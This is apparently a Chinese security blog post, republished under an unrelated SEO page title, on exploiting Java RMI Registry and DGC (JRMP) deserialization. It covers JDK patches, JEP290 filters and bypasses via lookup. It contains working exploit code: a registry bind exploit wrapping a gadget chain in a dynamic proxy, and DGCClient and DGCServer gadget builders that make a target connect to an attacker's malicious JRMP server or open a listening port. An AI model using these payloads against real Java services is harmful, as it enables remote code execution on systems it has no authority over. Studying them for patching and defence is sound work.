网站建设 采集招聘网站对比这么做

当前位置: 首页 > news >正文

网站建设 采集,招聘网站对比这么做,wordpress app下载模板,网站策划岗位职责0x01 2022-02-03写的一篇文章。 0x02 Registry Registry指的是RMI的注册表#xff0c;攻击的目标是注册表所在的机器#xff0c;一般注册表和RMI Server在同一个机器上#xff0c;特殊情况下也会在不同机器上。 在我们通过LocateRegistry#getRegistry获取到目标开启的注…0x01 2022-02-03写的一篇文章。 0x02 Registry Registry指的是RMI的注册表攻击的目标是注册表所在的机器一般注册表和RMI Server在同一个机器上特殊情况下也会在不同机器上。 在我们通过LocateRegistry#getRegistry获取到目标开启的注册表之后可以通过Registry#bind方法绑定一个对象到注册表上而我们绑定的对象传送到目标机器上之后会对其进行一个反序列化。 反序列化触发点在RegistryImpl_Skel#dispatch方法上。 同样的在获取到开启的注册表之后可以通过rebind/lookup方法触发反序列化链因为rebind/lookup方法传递对象过去之后目标也会对其进行反序列化。 漏洞点同样发生在RegistryImpl_Skel#dispatch方法上其实dispatch这个方法就是通过一个switch来判断是bind/lookup/rebind等操作中的哪个对应的case为如下。 可以看到rebind/lookup操作都会触发反序列化 0x03 Registry修复 在JDK8u232_b09版本之前对Registry被攻击有两处修复第一处修复是在JDK8u121之后对注册表可以反序列化的类进行了一个限制是一个白名单的限制。实现限制的方法为RegistryImpl#registryFilter。这里是 JEP290的防御操作 return String.class ! var2 !Number.class.isAssignableFrom(var2) !Remote.class.isAssignableFrom(var2) !Proxy.class.isAssignableFrom(var2) !UnicastRef.class.isAssignableFrom(var2) !RMIClientSocketFactory.class.isAssignableFrom(var2) !RMIServerSocketFactory.class.isAssignableFrom(var2) !ActivationID.class.isAssignableFrom(var2) !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;第二处修复是在JDK8u141之后在JDK8u141之前bind/rebind/lookup都可以触发反序列化但在此版本之后对bind/rebind的case语句块进行了修改在反序列化前增加了一个检查检查调用bind/rebind的机器是否为本地限制了调用源只能是本地。 其实在JDK8u141之前就已经存在这个checkAccess方法了也就是这个限制调用源本来就存在但是因为在反序列化之前没有调用这个方法进行检查那么这个限制也就相当于没有。 第三处修复在JDK8u232_b09之后在处理bind/rebind/lookup方法的case语句块中如果反序列化时发生错误或者反序列化完成之后类型转换错误则会调用call#discardPendingRefs方法将现存的DGC连接清除掉也就无法使用下面的DGCClient/DGCServer Gadget见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40此处以及下面说的DGC就是网上说的JRMP 0x04 Registry绕过 那么在JDK8u141之后怎么攻击利用Registry呢调用源检查只限制了bind/rebind方法对lookup方法没有进行限制那么就可以用lookup方法进行触发反序列化链。 对于第一个白名单限制可以利用白名单里的Remote及实现此接口类以及子类构造Gadget进行利用当然其它类如果能找到利用点也是可以的。 0x05 Registry攻击实现 利用常规的Gadget实现执行任意命令等效果利用DGCClient Gadget此Gadget被反序列化后可以让目标连接我们架设好的恶意DGC服务器此处的DGCClient就相当于ysoserial的payload/JRMPClient利用DGCServer Gadget此Gadget被反序列化后可以让目标在指定端口开启DGC服务此处的DGCServer 就相当于ysoserial的payload/JRMPListern利用注册表上可以调用的方法使用恶意对象作为参数传递过去之后目标会对恶意对象进行反序列化操作此时触发Gadget public class RMIRegistryExploit {public static void exploit(){try {Remote remote (Remote) getObject();//Remote remote (Remote) DGCClient.getObject();//Remote remote (Remote) DGCServer.getObject();Registry registry LocateRegistry.getRegistry(127.0.0.1, 9999);registry.bind(ky0202System.nanoTime(),remote);}catch (Exception e){System.out.println(e.getCause().getCause().getCause().getMessage());}}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);exploit();}public static Object getObject() throws Exception{Hashtable hashtable (Hashtable) Collections07.getObject();// hashtable 为 invocationHandler 的一个字段,那么反序列化的时候也会反序列化这个字段,进而触发 GadgetInvocationHandler invocationHandler (InvocationHandler) Reflect.reflectGetObject(sun.reflect.annotation.AnnotationInvocationHandler, new Class[]{Class.class, Map.class}, new Object[]{Retention.class, hashtable});// 把 Remote 对象反序列化,因为 invocationHandler 为其一个字段,反序列化时会反序列化其字段,也就是调用 AnnotationInvocationHandler#readObject 方法触发 GadgetRemote proxyRemote (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);return proxyRemote;} }根据Gadget修改获取的对象即可这里使用的是bind触发最好的方式是使用lookup触发但是这里没有实现。 DGCClient Gadget /** Gadget:* RemoteObjectInvocationHandler#readObject* RemoteObject#readObject* UnicastRef#readExternal* LiveRef#read* DGCClient#registerRefs* /public class DGCClient {public static Object getObject() throws Exception{TCPEndpoint tcpEndpoint new TCPEndpoint(127.0.0.1,9999,null,null);LiveRef liveRef new LiveRef(new ObjID(0),tcpEndpoint,false);UnicastRef unicastRef new UnicastRef(liveRef);RemoteObjectInvocationHandler remoteObjectInvocationHandler new RemoteObjectInvocationHandler(unicastRef);return remoteObjectInvocationHandler;}public static void main(String[] args) throws Exception{RemoteObjectInvocationHandler remoteObjectInvocationHandler (RemoteObjectInvocationHandler) getObject();byte[] serialize SerWithUnSer.serialize(remoteObjectInvocationHandler);SerWithUnSer.unSerialize(serialize);} }DGCServer Gadget /** Gadget: UnicastRemoteObject#readObject* UnicastRemoteObject#reexport* UnicastRemoteObject#exportObject* UnicastRemoteObject#exportObject* UnicastServerRef#exportObject* LiveRef#exportObject* TCPEndpoint#exportObject* TCPTransport#exportObject* TCPTransport#listen* */public class DGCServer {public static Object getObject() throws Exception{Constructor constructor1 RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});constructor1.setAccessible(true);Constructor constructor2 ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, constructor1);constructor2.setAccessible(true);UnicastRemoteObject unicastRemoteObject (UnicastRemoteObject) constructor2.newInstance(new Object[]{new UnicastServerRef(6666)});Reflect.reflectSetField(UnicastRemoteObject.class,unicastRemoteObject,port, 6666);return unicastRemoteObject;}public static void main(String[] args) throws Exception{UnicastRemoteObject unicastRemoteObject (UnicastRemoteObject) getObject();byte[] bytes SerWithUnSer.serialize(unicastRemoteObject);SerWithUnSer.unSerialize(bytes);} }调用注册表可以调用的方法然后传递恶意对象进去让目标对传递过去的恶意对象进行反序列化操作这时即可触发 Gadget反序列化触发点在UnicastServerRef#dispatch方法这里遍历反序列化传递过来的参数在unmarshalValue方法中存在反序列化操作 这里如果调用的方法可以传递任意对象或者存在Gadget的对象就可以直接传递恶意对象进去否则需要利用动态修改字节码的技术把恶意对象作为参数传递进去。可以参考后面列的文章 0x06 DGC 前面通过利用DGCClient/DGCServer Gadget攻击Registry之后可以使目标连接某一特定DGC服务器或者在指定端口开启一个DGC服务这时可以进一步利用。 在用DGCClient Gadget攻击成功目标之后目标会去连接指定的DGC服务器这时候我们可以架设一台恶意DGC 服务器让目标连接我们服务器的时候返回一个恶意对象这时候目标会对返回的对象进行反序列化此时触发 Gadget因为DGC通信过程中都是序列化的形式进行的所以不管是客户端还是服务端都存在反序列化的点这里的架设恶意DGC服务器利用ysoserial的exploit/JRMPListern即可 反序列化触发点在StreamRemoteCall#executeCall方法上 在用DGCServer Gadget攻击Registry之后目标会在指定端口开启一个DGC服务这时可以架设一个恶意的DGC 客户端去连接目标开启的DGC服务并连接之后发送恶意对象这时候目标会对客户端发送的恶意对象进行反序列化此时触发Gadget 搭建DGC客户端使用ysoserial的exploit/JRMPClient即可 反序列化触发点在DGCImpl_Skel#dispatch方法上 0x07 DGC修复 在JDK8u232_b09之后在DGCImplStub#dirty方法上设置了反序列化的白名单而dirty方法是StreamRemoteCall#executeCall方法的必经之路所以这也就阻断executeCall方法反序列化恶意对象了。见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l4.50 在JDK8u121之后对DGCServer可以反序列化的类进行了一个白名单的限制限制的方法在DGCImpl#checkInput这里就是JEP290的限制那么也就是在JEP290之后就无法利用exploit/JRMPClient了 return var2 ! ObjID.class var2 ! UID.class var2 ! VMID.class var2 ! Lease.class ? Status.REJECTED : Status.ALLOWED;0x08 参考文章 https://www.anquanke.com/post/id/197829 https://xz.aliyun.com/t/2223 https://blog.csdn.net/qsort/article/details/104814905 https://blog.csdn.net/qsort_/article/details/104969138 https://blog.csdn.net/qsort_/article/details/104874111 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40